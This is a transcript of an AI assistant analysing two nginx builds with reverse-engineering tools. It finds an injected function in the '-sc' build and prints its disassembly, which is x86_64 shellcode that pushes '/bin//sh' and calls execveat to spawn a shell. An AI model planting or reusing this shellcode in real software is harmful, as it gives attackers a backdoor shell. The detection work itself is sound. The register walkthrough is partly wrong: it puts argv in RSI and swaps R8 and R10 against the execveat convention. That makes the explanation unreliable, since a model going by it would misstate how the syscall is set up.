I have two versions of nginx. Can you help me find if one has been compromised?
Tool call: find_unique_functions with args: {} succeeded
Tool call: decompile_function_by_address with args: {"address":"0x13fa90"} succeeded
I compared the two builds and found exactly one function present only in the “-sc” version:
• 0x13fa90
I decompiled it and got:
void sc(void) { syscall(); return; }
What I did:
- Used find_unique_functions on both binaries to list symbols only in one or the other.
- Saw a single unique symbol in the “-sc” build at 0x13fa90.
- Decompiled that address to discover it’s an un-parameterized raw syscall wrapper.
Why it’s suspicious:
• No such stub exists in the clean build.
• A naked syscall with no prologue/epilogue or parameter setup strongly suggests a hidden backdoor entry point.
Conclusion: the “-sc” build appears compromised. You should investigate which syscall number is being issued (likely set elsewhere) and replace with a clean build.
What does this function do? Can you analyze its disassembly code?
Tool call: disassemble_function with args: {"address":"0x13fa90"} failed
Tool call: disassemble_function with args: {"address":"0x13fa90"} succeeded
Here’s the raw disassembly of the lone extra function at 0x13fa90 (in the “-sc” build):
0x13fa90: ENDBR64
0x13fa94: PUSH 0x42
0x13fa96: POP RAX
0x13fa97: INC AH
0x13fa99: CQO
0x13fa9b: PUSH RDX
0x13fa9c: MOV RDI,0x68732F2F6E69622F ; “/bin//sh” in ASCII
0x13faa6: PUSH RDI
0x13faa7: PUSH RSP
0x13faa8: POP RSI
0x13faa9: MOV R8, RDX
0x13faac: MOV R10,RDX
0x13faaf: SYSCALL
0x13fab1: RET
Analysis:
-
PUSH 0x42 / POP RAX / INC AH
– RAX starts as 0x42 (66), INC AH bumps the high byte so RAX = 0x142 (322 dec), which on x86_64 Linux is the syscall number for execveat. -
CQO
– Sign‐extends RAX into RDX so RDX=0. We’ll use that zero to terminate both argv and envp. -
BUILD “/bin//sh” & ARG-ARRAY ON THE STACK
– PUSH RDX (0) → this will become argv[1]=NULL
– MOV RDI, “/bin//sh” → loads the 8-byte literal into RDI
– PUSH RDI → writes the string to the stack (argv[0] buffer)
– PUSH RSP; POP RSI → sets RSI to point at the just-pushed string. Now RSI points at &argv[0].Stack now looks like: [ RSP ] → pointer to “/bin//sh”
[RSP+8] → 0So argv = { “/bin//sh”, NULL }.
-
MOV R8,RDX and MOV R10,RDX
– R8 = envp = NULL
– R10 = flags = 0 -
SYSCALL
– Calls execveat(dirfd=RDI?, pathname=RSI, argv=RSI, envp=NULL, flags=0)
(effectively execve("/bin/sh", ["/bin/sh"], NULL)) -
RET
In short, this stub invokes a raw syscall to spawn a shell (/bin/sh
). That function does not exist in the clean build—definitely a backdoor.